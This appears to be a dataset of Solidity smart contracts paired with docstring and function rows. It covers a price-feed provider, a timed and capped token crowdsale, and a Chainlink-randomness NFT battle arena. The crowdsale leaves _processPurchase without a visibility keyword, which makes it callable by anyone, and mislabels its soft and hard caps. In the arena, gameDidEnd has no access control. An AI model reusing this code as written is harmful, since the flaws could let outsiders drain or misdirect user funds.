uint256 public minUpdateInterval;
/**
* @dev Stores PriceFeed by asset address
*/
mapping(address => IPriceFeed) private _assetPriceFeeds;
event AssetFeedUpdated(address indexed asset, address indexed feed);
event AssetFeedRemoved(address indexed asset, address indexed feed);
constructor(
IConfigurationManager _configurationManager,
address[] memory _assets,
address[] memory _feeds
) public {
configurationManager = _configurationManager;
minUpdateInterval = _configurationManager.getParameter("MIN_UPDATE_INTERVAL");
require(minUpdateInterval < block.timestamp, "PriceProvider: Invalid minUpdateInterval");
_setAssetFeeds(_assets, _feeds);
}
/**
* @notice Register price feeds
* @param _assets Array of assets
* @param _feeds Array of price feeds
*/
function setAssetFeeds(address[] memory _assets, address[] memory _feeds) external override onlyOwner {
_setAssetFeeds(_assets, _feeds);
}
/**
* @notice Updates previously registered price feeds
* @param _assets Array of assets
* @param _feeds Array of price feeds
*/
function updateAssetFeeds(address[] memory _assets, address[] memory _feeds) external override onlyOwner {
for (uint256 i = 0; i < _assets.length; i++) {
require(address(_assetPriceFeeds[_assets[i]]) != address(0), "PriceProvider: PriceFeed not set");
}
_setAssetFeeds(_assets, _feeds);
}
/**
* @notice Unregister price feeds
* @dev Will not remove unregistered assets
* @param _assets Array of assets
*/
function removeAssetFeeds(address[] memory _assets) external override onlyOwner {
for (uint256 i = 0; i < _assets.length; i++) {
address removedFeed = address(_assetPriceFeeds[_assets[i]]);
if (removedFeed != address(0)) {
delete _assetPriceFeeds[_assets[i]];
emit AssetFeedRemoved(_assets[i], removedFeed);
}
}
}
/**
* @notice Update minUpdateInterval fetching from configurationManager
*/
function updateMinUpdateInterval() external override {
minUpdateInterval = configurationManager.getParameter("MIN_UPDATE_INTERVAL");
require(minUpdateInterval < block.timestamp, "PriceProvider: Invalid minUpdateInterval");
}
/**
* @notice Gets the current price of an asset
* @param _asset Address of an asset
* @return Current price
*/
function getAssetPrice(address _asset) external override view returns (uint256) {
IPriceFeed feed = _assetPriceFeeds[_asset];
require(address(feed) != address(0), "PriceProvider: Feed not registered");
(int256 price, uint256 updatedAt) = feed.getLatestPrice();
require(!_isObsolete(updatedAt), "PriceProvider: stale PriceFeed");
require(price > 0, "PriceProvider: Negative price");
return uint256(price);
}
/**
* @notice Get the data from the latest round.
* @param _asset Address of an asset
* @return roundId is the round ID from the aggregator for which the data was
* retrieved combined with an phase to ensure that round IDs get larger as
* time moves forward.
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started.
* (Only some AggregatorV3Interface implementations return meaningful values)
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed.
*/
function latestRoundData(address _asset)
external
override
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
IPriceFeed feed = _assetPriceFeeds[_asset];
require(address(feed) != address(0), "PriceProvider: Feed not registered");
return feed.latestRoundData();
}
/**
* @notice Gets the number of decimals of a PriceFeed
* @param _asset Address of an asset
* @return Asset price decimals
*/
function getAssetDecimals(address _asset) external override view returns (uint8) {
IPriceFeed feed = _assetPriceFeeds[_asset];
require(address(feed) != address(0), "PriceProvider: Feed not registered");
return feed.decimals();
}
/**
* @notice Get the address of a registered price feed
* @param _asset Address of an asset
* @return Price feed address
*/
function getPriceFeed(address _asset) external override view returns (address) {
return address(_assetPriceFeeds[_asset]);
}
/**
* @dev Internal function to set price feeds for different assets
* @param _assets Array of assets
* @param _feeds Array of price feeds
*/
function _setAssetFeeds(address[] memory _assets, address[] memory _feeds) internal {
require(_assets.length == _feeds.length, "PriceProvider: inconsistent params length");
for (uint256 i = 0; i < _assets.length; i++) {
IPriceFeed feed = IPriceFeed(_feeds[i]);
require(address(feed) != address(0), "PriceProvider: invalid PriceFeed");
(, , uint256 startedAt, uint256 updatedAt, ) = feed.latestRoundData();
require(startedAt > 0, "PriceProvider: PriceFeed not started");
require(!_isObsolete(updatedAt), "PriceProvider: stale PriceFeed");
_assetPriceFeeds[_assets[i]] = feed;
emit AssetFeedUpdated(_assets[i], _feeds[i]);
}
}
/**
* @dev Internal function to check if a given timestamp is obsolete
* @param _timestamp The timestamp to check
*/
function _isObsolete(uint256 _timestamp) internal view returns (bool) {
return _timestamp < (block.timestamp - minUpdateInterval);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IPriceFeed {
function getLatestPrice() external view returns (int256, uint256);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IPriceProvider {
function setAssetFeeds(address[] memory _assets, address[] memory _feeds) external;
function updateAssetFeeds(address[] memory _assets, address[] memory _feeds) external;
function removeAssetFeeds(address[] memory _assets) external;
function getAssetPrice(address _asset) external view returns (uint256);
function getAssetDecimals(address _asset) external view returns (uint8);
function latestRoundData(address _asset)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function getPriceFeed(address _asset) external view returns (address);
function updateMinUpdateInterval() external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity >=0.6.12;
interface IConfigurationManager {
function setParameter(bytes32 name, uint256 value) external;
function setEmergencyStop(address emergencyStop) external;
function setPricingMethod(address pricingMethod) external;
function setIVGuesser(address ivGuesser) external;
function setIVProvider(address ivProvider) external;
function setPriceProvider(address priceProvider) external;
function setCapProvider(address capProvider) external;
function setAMMFactory(address ammFactory) external;
function setOptionFactory(address optionFactory) external;
function setOptionHelper(address optionHelper) external;
function setOptionPoolRegistry(address optionPoolRegistry) external;
function getParameter(bytes32 name) external view returns (uint256);
function owner() external view returns (address);
function getEmergencyStop() external view returns (address);
function getPricingMethod() external view returns (address);
function getIVGuesser() external view returns (address);
function getIVProvider() external view returns (address);
function getPriceProvider() external view returns (address);
function getCapProvider() external view returns (address);
function getAMMFactory() external view returns (address);
function getOptionFactory() external view returns (address);
function getOptionHelper() external view returns (address);
function getOptionPoolRegistry() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
* @notice Unregister price feeds @dev Will not remove unregistered assets @param _assets Array of assets/
|
function removeAssetFeeds(address[] memory _assets) external override onlyOwner {
for (uint256 i = 0; i < _assets.length; i++) {
address removedFeed = address(_assetPriceFeeds[_assets[i]]);
if (removedFeed != address(0)) {
delete _assetPriceFeeds[_assets[i]];
emit AssetFeedRemoved(_assets[i], removedFeed);
}
}
}
| 13,467,162
|
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pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract BasicERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract ERC20Basic is BasicERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 _value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount,
uint256 now
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens,
now
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(_beneficiary, _weiAmount);
* require(weiRaised.add(_weiAmount) <= cap);
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is CappedCrowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract RedanCrowdsale is TimedCrowdsale,Ownable {
uint256 public constant DECIMALFACTOR = 10**uint256(18);
uint256 public availbleToken;
uint256 public soldToken;
uint256 public cap=2400 ether;// softcap is 2400 ether
uint256 public goal=10000 ether;// hardcap is 10000 ether
/**
* @dev RedanCrowdsale is a base contract for managing a token crowdsale.
* RedanCrowdsale have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
function RedanCrowdsale(uint256 _starttime, uint256 _endTime, uint256 _rate, address _wallet,ERC20 _token)
TimedCrowdsale(_starttime,_endTime)Crowdsale(_rate, _wallet,_token)CappedCrowdsale(cap)
{
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable onlyWhileOpen {
// calculate token amount to be created
uint256 tokens = _getTokenAmount( msg.value);
weiRaised = weiRaised.add(msg.value);
token.safeTransferFrom(owner,_beneficiary, tokens);
emit TokenPurchase(msg.sender,_beneficiary, msg.value, tokens,now);
_forwardFunds();
soldToken=soldToken.add(tokens);
availbleToken=token.allowance(owner,this);
}
/**
* @dev Change crowdsale ClosingTime
* @param _endTime is End time in Seconds
*/
function changeEndtime(uint256 _endTime) public onlyOwner {
require(_endTime > 0);
closingTime = _endTime;
}
/** function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
* @dev Change Token rate per ETH
* @param _rate is set the current rate of AND Token
*/
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
/**
* @dev Checks whether the goal has been reached.
* @return Whether the goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
|
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account./
|
function Ownable() {
owner = msg.sender;
}
| 937,102
|
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
import "./BattleRoyale.sol";
import "./AddressArray.sol";
import "./CustomAccessControl.sol";
contract BattleRoyaleArena is CustomAccessControl, VRFConsumerBase {
using AddressArray for AddressArray.Addresses;
// Chainlink properties
bytes32 internal keyHash;
uint256 public fee;
// Address of primary wallet
address payable public walletAddress;
// temp mapping for battles in random elimination mechanic
mapping(bytes32 => address payable) requestToBattle;
// Look into elimination logic and how to maintain state of all NFTs in and out of play
AddressArray.Addresses battleQueue;
constructor(
address _vrfCoordinator,
address _linkToken,
bytes32 _keyHash,
uint256 _fee
)
public VRFConsumerBase(_vrfCoordinator, _linkToken)
{
keyHash = _keyHash;
fee = _fee; // Set to Chainlink fee for network, Rinkeby and Kovan is 0.1 LINK and MAINNET is 2 LINK
walletAddress = payable(owner());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/**
* Fallback function to receive ETH
*/
receive() external payable {}
/*
* Method to withdraw ETH
*/
function withdraw(uint256 amount) external onlyAdmin {
uint256 balance = address(this).balance;
require(amount <= balance);
if (walletAddress != address(0)) {
payable(walletAddress).transfer(amount);
} else {
msg.sender.transfer(amount);
}
}
/*
* Get Current ETH Balance from contract
*/
function getCurrentBalance() external onlySupport view returns (uint256) {
uint256 balance = address(this).balance;
return balance;
}
/*
* Method to withdraw LINK
*/
function withdrawLink(uint256 amount) external onlyAdmin returns (bool) {
uint256 balance = LINK.balanceOf(address(this));
require(amount <= balance);
if (walletAddress != address(0)) {
return LINK.transfer(address(walletAddress), amount);
} else {
return LINK.transfer(msg.sender, amount);
}
}
/*
* Get Current LINK Balance from contract
*/
function getCurrentLinkBalance() external onlySupport view returns (uint256) {
return LINK.balanceOf(address(this));
}
/* ===== Battle Royale Arena Methods ===== */
function addToBattleQueue(address payable _nftAddress) external payable onlySupport returns(bool) {
return battleQueue.push(_nftAddress);
}
function getBattleQueue() external view returns (address payable[] memory) {
return battleQueue.getAll();
}
function isContractInQueue(address payable _contract) external view returns (bool) {
return battleQueue.exists(_contract);
}
function removeFromQueue(address payable nftAddress) external onlySupport payable returns(address payable[] memory) {
battleQueue.remove(nftAddress);
return battleQueue.getAll();
}
function setWalletAddress(address payable _wallet) external onlyOwner payable {
walletAddress = _wallet;
}
function bytesToAddress(bytes memory bys) internal pure returns (address payable addr) {
assembly {
addr := mload(add(bys,20))
}
}
/*
* addressToBytes
* @param {[type]} address [description]
* @return {[type]} [description]
*/
function addressToBytes(address payable a) internal pure returns (bytes memory b) {
return abi.encodePacked(a);
}
/* ==========================
* CHAINLINK METHODS
* ========================== */
/* === Keeper Network === */
/*
* Check upkeep will excute upkeep when intervals hit 0
*/
function checkUpkeep(bytes calldata checkData)
external
returns(
bool upkeepNeeded,
bytes memory performData
) {
for (uint i = 0; i < battleQueue.size(); i++) {
address payable nftAddress = battleQueue.atIndex(i);
BattleRoyale battle = BattleRoyale(nftAddress);
uint256 timestamp = battle.timestamp();
uint256 intervalTime = battle.intervalTime();
if (battle.getBattleStateInt() == 1
&& block.timestamp >= timestamp + (intervalTime * 1 minutes)) {
return (true, addressToBytes(nftAddress));
}
}
return (false, checkData);
}
/*
* Perform Upkeep execute random elimination
*/
function performUpkeep(bytes calldata performData) onlySupport external {
address payable nftAddress = bytesToAddress(performData);
// Adjust queue
battleQueue.remove(nftAddress);
battleQueue.push(nftAddress);
// execute upkeep
executeBattle(nftAddress);
}
/* === Verifiable Random Function === */
function executeBattle(address payable _nftAddress) internal returns (bytes32) {
BattleRoyale battle = BattleRoyale(_nftAddress);
require(LINK.balanceOf(address(this)) >= fee);
require(battle.getBattleStateInt() == 1);
require(battle.getInPlaySize() > 1);
bytes32 requestId = requestRandomness(keyHash, fee);
requestToBattle[requestId] = _nftAddress;
return requestId;
}
function fulfillRandomness(bytes32 _requestId, uint256 _randomNumber) internal override {
address payable nftAddress = requestToBattle[_requestId];
BattleRoyale battle = BattleRoyale(nftAddress);
battle.executeRandomElimination(_randomNumber);
delete requestToBattle[_requestId];
}
// Delegate callback method called when game has ended
function gameDidEnd(address payable _address) external payable {
BattleRoyale battle = BattleRoyale(_address);
uint256 balance = battle.getCurrentBalance();
battle.withdraw(balance);
battleQueue.remove(_address);
}
function executeEliminationByQueue() external onlySupport returns(bool) {
for (uint i = 0; i < battleQueue.size(); ++i) {
address payable nftAddress = battleQueue.atIndex(i);
return executeElimination(nftAddress);
}
return false;
}
function executeElimination(address payable _nftAddress) public onlySupport returns(bool) {
require(battleQueue.exists(_nftAddress));
BattleRoyale battle = BattleRoyale(_nftAddress);
uint256 timestamp = battle.timestamp();
uint256 intervalTime = battle.intervalTime();
if (battle.getBattleStateInt() == 1
&& block.timestamp >= timestamp + (intervalTime * 1 minutes)) {
// execute upkeep
battleQueue.remove(_nftAddress);
battleQueue.push(_nftAddress);
executeBattle(_nftAddress);
return true;
}
return false;
}
/* ======== Battle Royale Methods ======== */
function getInPlayOnNFT(address payable _nft) external view onlySupport returns (uint256[] memory) {
BattleRoyale battle = BattleRoyale(_nft);
return battle.getInPlay();
}
function getOutOfPlayOnNFT(address payable _nft) external view onlySupport returns (uint256[] memory) {
BattleRoyale battle = BattleRoyale(_nft);
return battle.getOutOfPlay();
}
function setIntervalTimeOnNFT(address payable _nft, uint256 _intervalTime) external payable onlySupport returns (uint256) {
BattleRoyale battle = BattleRoyale(_nft);
return battle.setIntervalTime(_intervalTime);
}
function setPriceOnNFT(address payable _nft, uint256 _price) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setPrice(_price);
}
function NFTAutoStartOn(address payable _nft, bool _autoStart) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.autoStartOn(_autoStart);
}
function NFTAutoPayoutOn(address payable _nft, bool _autoPayout) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.autoPayoutOn(_autoPayout);
}
function setFeeRateOnNFT(address payable _nft, uint256 _feeRate) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setFeeRate(_feeRate);
}
function setUnitsPerTransactionOnNFT(address payable _nft,uint256 _units) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setUnitsPerTransaction(_units);
}
function setMaxSupplyOnNFT(address payable _nft, uint256 _supply) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setMaxSupply(_supply);
}
function setDefaultTokenURIOnNFT(address payable _nft, string memory _tokenUri) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setDefaultTokenURI(_tokenUri);
}
function setPrizeTokenURIOnNFT(address payable _nft, string memory _tokenUri) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setPrizeTokenURI(_tokenUri);
}
function setArtistOnNFT(address payable _nft, address payable _artist) external onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.setArtist(_artist);
}
function beginBattleOnNFT(address payable _nft) external onlySupport {
BattleRoyale battle = BattleRoyale(_nft);
battle.beginBattle();
}
function executePayoutOnNFT(address payable _nft) public onlySupport payable {
BattleRoyale battle = BattleRoyale(_nft);
battle.executePayout();
}
/* ======== Battle Royale Methods ======== */
function transferContractOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
revokeAccessRole(payable(owner()));
grantSupportAccess(newOwner);
transferOwnership(newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./vendor/SafeMathChainlink.sol";
import "./interfaces/LinkTokenInterface.sol";
import "./VRFRequestIDBase.sol";
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
